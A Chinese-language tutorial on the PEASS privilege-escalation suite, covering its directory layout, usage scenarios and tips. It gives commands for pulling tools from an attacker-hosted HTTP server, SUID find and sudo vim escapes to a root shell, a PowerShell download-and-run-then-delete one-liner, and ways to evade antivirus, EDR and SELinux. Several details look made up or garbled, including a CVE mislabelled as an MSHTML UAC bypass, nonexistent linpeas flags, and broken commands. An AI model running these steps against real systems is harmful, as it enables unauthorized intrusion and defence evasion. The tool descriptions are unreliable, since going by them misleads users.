PEASS使用教程

张开发
2026/4/12 2:06:25 15 分钟阅读

分享文章

PEASS使用教程
在Kali Linux的权限提升工具生态中PEASSPrivilege Escalation Awesome Scripts SUITE权限提升优秀脚本套件是一款覆盖Linux与Windows双平台的自动化权限提升扫描工具集。它通过整合LinpeasLinux平台与WinpeasWindows平台两大核心模块针对不同操作系统的权限配置缺陷、漏洞特征、敏感信息泄露等场景提供全面的扫描与攻击路径识别能力帮助渗透测试人员快速突破低权限限制获取目标系统的高权限访问。作为后渗透阶段的“瑞士军刀”PEASS凭借其跨平台兼容性、自动化分析能力与实时更新的漏洞库成为全球安全从业者的必备工具。本文将从工具概述、核心模块功能、目录结构解析、使用教程及注意事项等方面对PEASS进行全面详细的介绍。一、PEASS工具套件概述1. 工具定义PEASS是由开源社区开发的跨平台权限提升脚本套件核心定位是“Linux与Windows系统权限提升漏洞扫描与利用辅助工具集”。它包含两大独立模块LinpeasLinux Privilege Escalation Awesome Script专注于Linux系统WinpeasWindows Privilege Escalation Awesome Script专注于Windows系统。两大模块均采用“自动化扫描结构化报告”模式通过预定义的数百条检测规则覆盖权限提升的15核心场景如SUID文件滥用、sudo配置缺陷、Windows服务漏洞、注册表权限松动等并以高亮格式输出高危漏洞与利用建议大幅降低权限提升的技术门槛与时间成本。2. 开发背景与目标权限提升是渗透测试后渗透阶段的核心难点传统手动排查存在三大痛点一是“跨平台适配难”——Linux与Windows的权限机制、漏洞类型差异巨大需分别掌握不同的检测方法二是“场景覆盖不全”——手动排查易遗漏冷门场景如Linux的Docker权限滥用、Windows的UAC绕过三是“漏洞利用门槛高”——新型漏洞如内核漏洞、服务配置缺陷的利用方法需实时跟进普通测试人员难以快速掌握。PEASS的开发目标正是解决这些痛点通过整合双平台的权限提升脚本统一扫描逻辑与报告格式实时更新漏洞检测规则为测试人员提供“一站式、自动化、跨平台”的权限提升解决方案实现“一键扫描、直观定位、快速利用”的目标。3. 主要特点双平台全覆盖同时支持Linux与Windows系统Linpeas适配所有主流Linux发行版Ubuntu、CentOS、Debian、Kali及多架构x86、x86_64、arm、arm64Winpeas适配Windows 7至Windows 11及Windows Server 2008至2022覆盖95%以上的服务器与桌面操作系统环境。场景化深度扫描每个模块覆盖15核心权限提升场景Linpeas包含SUID/SGID文件滥用、sudo权限漏洞、内核漏洞、计划任务缺陷、Docker/K8s权限滥用等Winpeas包含Windows服务漏洞、UAC绕过、注册表权限松动、敏感文件泄露、令牌窃取等无明显场景盲区。自动化与智能化无需人工干预执行脚本后自动完成全维度扫描内置智能优先级排序高危漏洞标红、中危标黄、信息标蓝关键信息如可利用的SUID文件、Windows可写服务加粗显示同时标注漏洞利用难度与参考链接如Exploit-DB、MSDN文档引导测试人员快速利用。轻量与灵活部署所有脚本体积小巧Linpeas Shell脚本约50KBWinpeas可执行文件约2-5MB无需安装依赖库可通过wget、curl、文件上传等方式快速传输到目标系统支持“快速扫描”仅核心场景与“深度扫描”全场景漏洞验证模式适配不同网络环境与时间需求。实时更新漏洞库作为开源项目PEASS的漏洞检测规则与利用方法实时更新及时纳入新披露的权限提升漏洞如Linux的CVE-2023-0386、Windows的CVE-2022-21882确保对新型漏洞的检测能力避免因规则过时导致漏检。多格式报告输出支持文本、HTML、JSON等多种报告格式Linpeas可通过重定向输出文本报告Winpeas支持通过参数指定报告格式便于后续分析、团队分享与自动化集成如导入SIEM系统进行漏洞统计。4. 适用场景PEASS适用于Linux与Windows系统的渗透测试、安全评估、漏洞验证等场景具体包括以下核心场景后渗透权限提升获取目标系统低权限Shell如Linux的www-data、Windows的普通用户后执行PEASS扫描快速定位可提升至rootLinux或AdministratorWindows权限的漏洞实现权限突破。系统安全评估企业安全团队用于内部服务器与终端的权限安全评估检测权限配置缺陷如Linux的/etc/passwd可写、Windows的服务可篡改提前修复安全隐患降低被攻击风险。渗透测试教学与学习供安全初学者学习双平台权限提升的原理与方法如Linux的SUID文件利用逻辑、Windows的UAC机制通过扫描结果理解不同漏洞的触发条件与利用路径提升技术水平。多架构与特殊环境适配针对嵌入式Linux设备arm/arm64架构、老旧Windows系统Windows 7/Server 2008等特殊环境PEASS提供对应的脚本版本如Linpeas的arm架构二进制文件、Winpeas的x86可执行文件解决特殊环境的权限提升需求。二、PEASS目录结构中文翻译与说明在Kali Linux中PEASS的默认安装路径为/usr/share/peass目录分为LinpeasLinux模块与WinpeasWindows模块两大子目录每个子目录包含适配不同系统架构与环境的脚本/可执行文件。以下是完整目录结构的中文翻译及详细功能说明表格英文目录/文件名中文翻译功能说明与适用场景/usr/share/peassPEASS主目录PEASS工具套件的核心存储目录包含LinpeasLinux模块与WinpeasWindows模块两大子目录是双平台权限提升脚本的“统一入口”。/usr/share/peass/linpeasLinpeasLinux权限提升脚本子目录存放Linux平台的权限提升扫描脚本与可执行文件包含适配不同架构x86、x86_64、arm、arm64与环境的版本是PEASS在Linux系统的核心模块。linpeas/linpeas_darwin_amd64DarwinmacOSamd64架构可执行文件适用于macOS系统Darwin内核的amd64架构64位Intel处理器支持macOS 10.14版本实现macOS系统的权限提升扫描如检测 SIP 关闭状态、用户权限配置。linpeas/linpeas_darwin_arm64DarwinmacOSarm64架构可执行文件适用于macOS系统的arm64架构64位Apple Silicon处理器如M1、M2芯片解决新型macOS设备的权限提升扫描需求兼容macOS 12版本。linpeas/linpeas_fat.shLinpeas通用Shell脚本全功能版基于Bash编写的全功能Linux脚本兼容所有Linux架构无需区分x86/x86_64包含完整的扫描规则如内核漏洞匹配、Docker权限检测无需编译可直接在目标系统执行适合无法传输二进制文件的场景。linpeas/linpeas_linux_386Linux 386架构可执行文件适用于Linux系统的386架构32位x86处理器如老旧的32位Ubuntu、CentOS服务器二进制文件执行效率高于Shell脚本扫描速度提升30%以上。linpeas/linpeas_linux_amd64Linux amd64架构可执行文件适用于Linux系统的amd64架构64位x86处理器是目前主流Linux服务器阿里云、腾讯云、AWS EC2的默认架构支持所有高级扫描功能如实时内核漏洞匹配、SUID文件深度分析执行效率最高。linpeas/linpeas_linux_armLinux arm架构可执行文件适用于Linux系统的arm架构32位ARM处理器如嵌入式设备路由器、智能摄像头、ARM架构开发板树莓派早期32位版本解决嵌入式Linux的权限提升扫描需求。linpeas/linpeas_linux_arm64Linux arm64架构可执行文件适用于Linux系统的arm64架构64位ARM处理器如新型嵌入式设备、ARM架构云服务器AWS Graviton、阿里云ARM服务器适配64位ARM架构的高性能扫描需求支持ARMv8指令集。linpeas/linpeas.shLinpeas标准Shell脚本基于Bash编写的标准Linux脚本功能与linpeas_fat.sh一致但体积更小约50KB移除部分冷门场景检测如老旧内核漏洞适合网络带宽有限或需要快速传输的场景如目标系统仅允许小文件上传。linpeas/linpeas_small.shLinpeas轻量Shell脚本Linpeas的轻量级Linux脚本版本体积仅约10KB保留核心扫描规则SUID文件、sudo配置、可写系统文件移除彩色输出、内核漏洞匹配等高级功能适合目标系统环境受限的场景如Bash版本过低、禁止使用ANSI颜色代码。/usr/share/peass/winpeasWinpeasWindows权限提升脚本子目录存放Windows平台的权限提升扫描脚本与可执行文件包含适配不同位数x86、x64与环境普通用户、管理员的版本是PEASS在Windows系统的核心模块。winpeas/winPEASany.exeWinpeas通用可执行文件自适应位数支持Windows x86与x64架构的自适应可执行文件无需手动选择位数双击或通过命令行执行即可扫描覆盖Windows 7至Windows 11及Server 2008至2022是Windows环境的首选版本。winpeas/winPEASany_ofs.exeWinpeas通用可执行文件无文件落地版“无文件落地”版本的自适应可执行文件可通过内存加载方式执行如通过PowerShell远程注入不生成本地文件规避杀毒软件的文件哈希检测适合目标系统部署严格终端防护的场景。winpeas/winPEAS.batWinpeas批处理脚本基于Batch编写的Windows脚本兼容所有Windows版本包括Windows XP通过调用系统原生命令如sc、reg实现基础权限扫描如服务状态检测、注册表权限查看适合无法执行EXE文件的受限环境。winpeas/winPEAS.ps1Winpeas PowerShell脚本基于PowerShell编写的Windows脚本支持PowerShell 2.0至7.0版本通过PowerShell的高级功能如WMI查询、CIM对象实现深度扫描如进程令牌分析、UAC配置检测可通过powershell -ExecutionPolicy Bypass .\winPEAS.ps1绕过执行策略限制。winpeas/winPEASx64.exeWinpeas x64架构可执行文件专为Windows x64架构64位设计的可执行文件支持Windows 7 x64至Windows 11及Server 2008 R2至2022 x64版本执行效率高于自适应版本适合明确为64位的服务器环境。winpeas/winPEASx64_ofs.exeWinpeas x64架构可执行文件无文件落地版Windows x64架构的“无文件落地”版本通过内存加载执行不生成本地EXE文件规避杀毒软件与EDR终端检测响应的文件扫描适合高防护级别的Windows服务器环境。winpeas/winPEASx86.exeWinpeas x86架构可执行文件专为Windows x86架构32位设计的可执行文件支持Windows 7 x86至Windows 10 x86及Server 2008至2019 x86版本适配老旧的32位Windows终端与服务器。winpeas/winPEASx86_ofs.exeWinpeas x86架构可执行文件无文件落地版Windows x86架构的“无文件落地”版本支持32位Windows系统的内存加载执行适合老旧32位系统且防护严格的场景避免EXE文件被检测删除。三、PEASS完整使用教程PEASS的核心使用流程为“选择对应平台模块→传输到目标系统→执行扫描→分析结果→利用漏洞提权”以下分别针对LinuxLinpeas与WindowsWinpeas两大平台结合高频场景详细介绍使用步骤1. 基础环境准备Kali Linux默认预装PEASS套件无需额外安装。通过以下命令验证工具可用性并查看目录结构# 进入PEASS主目录 cd /usr/share/peass # 查看Linpeas与Winpeas子目录 ls -l # 输出linpeas与winpeas两个子目录说明资源完整 # 验证Linpeas脚本可执行性以Shell脚本为例 cd linpeas chmod x linpeas.sh # 赋予执行权限若未默认赋予 ./linpeas.sh -h # 查看帮助信息验证脚本正常可用 # 验证Winpeas可执行文件通过file命令查看文件类型 cd ../winpeas file winPEASany.exe # 输出PE32 executable (console) x86-64, for MS Windows说明文件正常若Kali未预装PEASS可通过以下命令安装sudo apt update sudo apt install peass或通过GitHub克隆最新版本获取实时更新的漏洞规则git clone https://github.com/carlospolop/PEASS-ng.git cd PEASS-ng ls -l # 查看linpeas与winpeas子目录获取最新版本文件2. 场景1Linux amd64服务器权限提升Linpeas使用目标获取目标Linux服务器amd64架构Ubuntu 22.04的低权限Shellwww-data用户通过Linpeas的amd64可执行文件扫描定位权限提升漏洞并提升至root权限。步骤1选择并传输Linpeas版本目标为amd64架构优先选择二进制可执行文件linpeas_linux_amd64执行效率高通过HTTP服务传输到目标系统# 1. 在Kali攻击机中进入Linpeas目录开启Python HTTP服务端口8080 cd /usr/share/peass/linpeas python3 -m http.server 8080 # 2. 在目标Linux系统的低权限Shell中使用wget下载Linpeas wget http://攻击机IP:8080/linpeas_linux_amd64 -O /tmp/linpeas # 保存到/tmp目录通常所有用户可写步骤2赋予执行权限并执行扫描在目标系统中赋予Linpeas执行权限执行深度扫描并输出报告# 进入/tmp目录赋予执行权限 cd /tmp chmod x linpeas # 执行深度扫描输出结果到文本报告便于后续分析 ./linpeas --deep linpeas_report.txt # --deep开启深度扫描模式扫描过程中终端会以彩色高亮格式输出实时结果高危漏洞标红、中危标黄扫描时间约2-5分钟取决于系统复杂度。步骤3分析扫描结果定位高危漏洞扫描完成后重点关注报告中标红的高危漏洞例如# 示例1发现具有SUID权限的find命令可用于提权 [!] SUID - Check easy privesc, exploits and write perms -rwsr-xr-x 1 root root 123456 Jul 10 2023 /usr/bin/find # find命令具有SUID权限支持-exec参数执行root命令 # 示例2发现sudo免密码执行vimwww-data用户可免密执行root权限的vim [!] Sudo - Check if sudo can be used without password www-data ALL(ALL) NOPASSWD: /usr/bin/vim # 免密执行vim可通过:!命令调用bash步骤4利用漏洞提升权限根据扫描结果选择对应的利用方法例如利用SUID find命令提权# 利用find的SUID权限执行bash获取root Shell find /tmp -name test -exec /bin/bash \; # 执行后进入root权限Shell # 验证权限 whoami # 输出root说明提权成功若发现sudo免密漏洞可通过以下方式提权# 免密执行vim通过:!命令调用bash sudo vim :!bash # 在vim中执行bash进入root Shell3. 场景2Windows 10终端权限提升Winpeas使用目标获取目标Windows 10终端的普通用户Shell通过Winpeas的通用可执行文件winPEASany.exe扫描定位UAC绕过漏洞并提升至Administrator权限。步骤1选择并传输Winpeas版本目标为Windows 10不确定位数选择自适应位数的winPEASany.exe通过SMB服务传输到目标系统# 1. 在Kali攻击机中开启SMB服务共享Winpeas文件 # 安装并配置Samba若未安装 sudo apt install samba sudo smbpasswd -a root # 添加SMB用户输入密码 sudo mkdir /smb_share # 创建共享目录 sudo cp /usr/share/peass/winpeas/winPEASany.exe /smb_share/ # 复制Winpeas到共享目录 sudo chmod 777 /smb_share/winPEASany.exe # 赋予读写权限 # 编辑Samba配置文件添加共享 sudo nano /etc/samba/smb.conf # 在文件末尾添加 [smb_share] path /smb_share writable yes guest ok yes public yes # 重启Samba服务 sudo systemctl restart smbd # 2. 在目标Windows系统中访问Kali的SMB共享下载Winpeas # 打开文件资源管理器输入路径 \\攻击机IP\smb_share # 复制winPEASany.exe到C:\Temp目录需提前创建Temp目录步骤2执行Winpeas扫描在目标Windows的命令提示符CMD或PowerShell中执行Winpeas扫描# 1. 打开CMD进入C:\Temp目录 cd C:\Temp # 2. 执行Winpeas输出结果到文本报告 winPEASany.exe winpeas_report.txt # 若提示权限不足添加--unelevated参数普通用户模式 # 或通过PowerShell执行绕过执行策略 powershell -ExecutionPolicy Bypass -Command .\winPEASany.exe winpeas_report.txt步骤3分析扫描结果定位UAC绕过漏洞扫描完成后查看报告中标红的UAC绕过或服务漏洞例如# 示例发现可利用的UAC绕过漏洞CVE-2021-40449 [!] UAC Bypass - Check for possible UAC bypass techniques [] Vulnerable to CVE-2021-40449 (MSHTML Remote Code Execution) - UAC bypass possible Exploit-DB: 50367 - https://www.exploit-db.com/exploits/50367 Requirements: User is in Administrators group (current user: test, group: Administrators)报告显示当前用户test属于Administrators组且系统存在CVE-2021-40449 UAC绕过漏洞。步骤4利用UAC绕过漏洞提权根据报告提供的Exploit-DB链接下载对应的漏洞利用代码在目标系统中执行# 1. 下载CVE-2021-40449利用工具假设已通过SMB传输到C:\Temp # 2. 在CMD中执行利用工具绕过UAC并获取Administrator权限Shell C:\Temp\CVE-2021-40449.exe cmd.exe # 调用cmd.exe获取高权限Shell # 验证权限 whoami # 输出nt authority\system或administrator说明提权成功4. 场景3Windows受限环境扫描Winpeas PowerShell脚本使用目标目标Windows系统禁止执行EXE文件仅允许PowerShell脚本通过Winpeas的PowerShell脚本winPEAS.ps1执行基础扫描。步骤1传输Winpeas PowerShell脚本通过PowerShell的Invoke-WebRequest命令直接从Kali攻击机下载脚本无需落地EXE文件# 在目标Windows的PowerShell中绕过执行策略并下载脚本 powershell -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://攻击机IP:8080/winPEAS.ps1 -OutFile C:\Temp\winPEAS.ps1步骤2执行PowerShell脚本扫描执行脚本输出精简报告适合受限环境# 执行脚本开启精简模式仅输出高危漏洞 powershell -ExecutionPolicy Bypass -Command C:\Temp\winPEAS.ps1 -quiet # -quiet精简模式脚本会快速扫描核心场景如服务权限、注册表松动输出标红的高危漏洞扫描时间约1-2分钟。5. 关键补充PEASS高级功能与优化技巧1Linpeas高级扫描选项Linpeas支持多种高级参数可根据需求调整扫描范围与输出格式# 1. 仅扫描指定场景如仅扫描SUID文件与sudo配置 ./linpeas --only suid,sudo # --only指定扫描场景 # 2. 禁用彩色输出适合目标系统不支持ANSI颜色 ./linpeas --nocolor report.txt # --nocolor禁用彩色 # 3. 输出JSON格式报告便于自动化分析 ./linpeas --json report.json # --jsonJSON格式输出 # 4. 排除指定漏洞检查如排除老旧内核漏洞 ./linpeas --exclude kernel_old # --exclude排除场景2Winpeas无文件落地执行规避杀毒软件针对防护严格的Windows系统使用“无文件落地”版本winPEASany_ofs.exe通过内存加载执行# 在Kali攻击机中开启HTTP服务提供winPEASany_ofs.exe cd /usr/share/peass/winpeas python3 -m http.server 8080 # 在目标Windows的PowerShell中通过内存加载执行不生成本地文件 powershell -ExecutionPolicy Bypass -Command $data Invoke-WebRequest -Uri http://攻击机IP:8080/winPEASany_ofs.exe -UseBasicParsing; $bytes $data.Content; [System.IO.File]::WriteAllBytes(C:\Users\Public\tmp.exe, $bytes); Start-Process C:\Users\Public\tmp.exe -NoNewWindow; Remove-Item C:\Users\Public\tmp.exe -Force该命令会临时生成EXE文件并立即执行执行后自动删除文件规避杀毒软件的文件扫描。3扫描结果筛选与快速定位通过命令快速筛选报告中的高危漏洞避免逐行查看# LinuxLinpeas筛选标红的高危漏洞包含[!]的行 grep -n \[!\] linpeas_report.txt # -n显示行号 # WindowsWinpeas在PowerShell中筛选高危漏洞 Get-Content winpeas_report.txt | Select-String -Pattern \[!\] # 筛选包含[!]的行四、使用PEASS的注意事项严格遵守合法授权PEASS是“高风险权限提升工具套件”仅可用于对“已获得明确书面授权”的系统进行测试。未经授权使用PEASS扫描他人系统、获取高权限可能违反《中华人民共和国网络安全法》《刑法》第285条非法侵入计算机信息系统罪、第286条破坏计算机信息系统罪将承担刑事责任禁止将PEASS用于攻击互联网上的非授权系统。区分测试环境与生产环境优先在“测试环境”如企业内部测试服务器、虚拟机中使用PEASS避免在“生产环境”如对外业务服务器、核心数据库中直接执行扫描——生产环境的权限提升操作可能导致服务中断、数据损坏如内核漏洞利用可能引发系统崩溃。若需测试生产环境必须提前与业务方沟通明确测试时间窗口如深夜低峰期、回滚方案如系统快照测试完成后立即清理扫描痕迹删除PEASS文件与报告恢复目标系统至正常状态。注意系统架构与版本兼容性Linpeas需匹配目标Linux系统的架构x86/x86_64/arm/arm64若架构不匹配可执行文件将无法运行提示“exec format error”此时需更换为对应架构的版本或使用Shell脚本版本如linpeas.sh。Winpeas需匹配目标Windows系统的位数x86/x64与版本例如Windows XP仅支持winPEAS.bat脚本Windows 11需使用最新版本的winPEASany.exe避免因版本过旧导致功能缺失。规避安全防护检测Linux系统中部分安全工具如SELinux、AppArmor可能限制PEASS的执行权限如禁止访问/proc目录需临时关闭防护或调整规则如setenforce 0关闭SELinux但需提前告知目标方。Windows系统中杀毒软件与EDR可能将Winpeas标记为“恶意程序”并删除可通过以下方式规避使用“无文件落地”版本如winPEASany_ofs.exe避免文件落地被扫描。通过PowerShell脚本版本winPEAS.ps1拆分脚本内容分段执行规避特征检测。禁止滥用与数据泄露仅在授权范围内执行与测试目的相关的操作不越权访问目标系统的敏感数据如用户密码、商业文档、数据库备份不执行破坏性命令如Linux的rm -rf /、Windows的format。PEASS报告包含目标系统的敏感信息如用户列表、权限配置、漏洞详情测试完成后需立即删除目标系统与攻击机中的报告副本避免信息泄露不得将报告用于测试以外的用途如出售、传播。定期更新PEASS版本权限提升漏洞持续披露如每月新增多个CVE漏洞需定期更新PEASS的漏洞检测规则确保对新型漏洞的检测能力# 通过GitHub更新最新版本 git clone https://github.com/carlospolop/PEASS-ng.git cd PEASS-ng/linpeas # 或winpeas目录获取最新文件关注PEASS官方GitHub仓库https://github.com/carlospolop/PEASS-ng及时获取新漏洞的检测规则与利用方法更新通知。五、总结PEASS作为跨平台权限提升的自动化工具套件凭借“双平台覆盖、场景化扫描、自动化分析”的核心优势成为渗透测试人员在后渗透阶段的必备工具。它通过Linpeas与Winpeas两大模块统一了Linux与Windows的权限提升扫描逻辑解决了传统手动排查“效率低、易遗漏、跨平台适配难”的痛点帮助测试人员快速突破低权限限制获取目标系统的完全控制。然而工具的强大功能也伴随着极高的法律与伦理风险。在使用PEASS时必须始终以“合法授权”为前提严格区分测试环境与生产环境避免对目标系统造成负面影响同时需深入理解双平台的权限机制与漏洞利用逻辑结合手动验证优化扫描结果确保权限提升的成功率与安全性。通过合理、合规地使用PEASS不仅能提升跨平台渗透测试的技术水平更能帮助企业认识权限配置的安全缺陷完善系统安全防护体系如Linux的SUID权限限制、Windows的UAC加固构建更安全的多平台运行环境。

更多文章